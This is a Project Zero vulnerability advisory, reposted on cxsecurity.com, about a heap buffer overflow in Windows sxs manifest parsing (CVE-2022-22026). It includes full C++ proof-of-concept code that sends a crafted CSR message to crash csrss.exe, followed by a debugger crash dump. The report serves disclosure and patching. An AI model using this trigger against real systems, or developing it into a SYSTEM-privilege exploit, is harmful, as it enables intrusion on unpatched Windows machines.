Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

2022.08.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity ## SUMMARY A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges. ## VULNERABILITY DETAILS In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`. We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`. 1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html ## VERSION Windows 11 12H2 (OS Build 22000.593) Windows 10 12H2 (OS Build 19044.1586) ## REPRODUCTION CASE 1) Enable page heap verification for csrss.exe: ``` gflags /p /enable csrss.exe /full ``` 2) Restart the machine. 3) Compile and run: ``` #pragma comment(lib, "ntdll") #include <windows.h> #include <winternl.h> #include <cstdint> #include <cstdio> #include <string> typedef struct _SECTION_IMAGE_INFORMATION { PVOID EntryPoint; ULONG StackZeroBits; ULONG StackReserved; ULONG StackCommit; ULONG ImageSubsystem; WORD SubSystemVersionLow; WORD SubSystemVersionHigh; ULONG Unknown1; ULONG ImageCharacteristics; ULONG ImageMachineType; ULONG Unknown2[3]; } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; typedef struct _RTL_USER_PROCESS_INFORMATION { ULONG Size; HANDLE ProcessHandle; HANDLE ThreadHandle; CLIENT_ID ClientId; SECTION_IMAGE_INFORMATION ImageInformation; BYTE Unknown1[128]; } RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; NTSTATUS(NTAPI* RtlCreateProcessParameters) (PRTL_USER_PROCESS_PARAMETERS*, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PVOID, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING); NTSTATUS(NTAPI* RtlCreateUserProcess) (PUNICODE_STRING, ULONG, PRTL_USER_PROCESS_PARAMETERS, PSECURITY_DESCRIPTOR, PSECURITY_DESCRIPTOR, HANDLE, BOOLEAN, HANDLE, HANDLE, PRTL_USER_PROCESS_INFORMATION); PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG); VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID); NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG); NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR); void CaptureString(LPVOID capture_buffer, uint8_t* msg_field, PCWSTR string, size_t length = 0) { if (length == 0) length = lstrlenW(string); CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2, length * 2 + 2, (PSTR)msg_field); } int main() { HMODULE ntdll = LoadLibrary(L"ntdll"); #define INIT_PROC(name) \ name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name)); INIT_PROC(RtlCreateProcessParameters); INIT_PROC(RtlCreateUserProcess); INIT_PROC(CsrAllocateCaptureBuffer); INIT_PROC(CsrFreeCaptureBuffer); INIT_PROC(CsrClientCallServer); INIT_PROC(CsrCaptureMessageString); UNICODE_STRING image_path; PRTL_USER_PROCESS_PARAMETERS proc_params; RTL_USER_PROCESS_INFORMATION proc_info = {0}; RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe"); RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL, NULL, NULL, FALSE, NULL, NULL, &proc_info); const size_t HEADER_SIZE = 0x40; uint8_t msg[HEADER_SIZE + 0x1f8] = {0}; #define FIELD(n) msg + HEADER_SIZE + 8 * n #define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value; SET_FIELD(2, proc_info.ClientId.UniqueProcess); SET_FIELD(3, proc_info.ClientId.UniqueThread); SET_FIELD(4, -1); SET_FIELD(7, 1); SET_FIELD(8, 0x20000); std::string manifest = "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' " "manifestVersion='1.0'>" "<assemblyIdentity name='@' version='1.0.0.0'/>" "</assembly>"; manifest.replace(manifest.find('@'), 1, 0x4000, 'A'); SET_FIELD(13, manifest.c_str()); SET_FIELD(14, manifest.size()); PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200); CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\"); CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2); CaptureString(capture_buffer, FIELD(28), L"A"); SET_FIELD(28, 0xff000002); CsrClientCallServer(msg, capture_buffer, 0x1001001d, sizeof(msg) - HEADER_SIZE); } ``` The crash should look like to the following: ``` CONTEXT: 0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0) rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010 rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001 rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80 r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558 r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001 r14=0000000000000000 r15=0000000000000005 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ntdll!memcpy+0x113: 0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=???????????????????????????????? Resetting default scope WRITE_ADDRESS: 0000020e6515d000 EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0) ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000001 Parameter[1]: 0000020e6515d000 Attempt to write to address 0000020e6515d000 STACK_TEXT: 0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113 0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1 0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34 0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6 0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513 0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104 0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe 0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339 0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed 0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545 0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71 0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3 0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0 0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f ``` ## CREDIT INFORMATION Sergei Glazunov of Google Project Zero Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026. Found by: glazunov@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top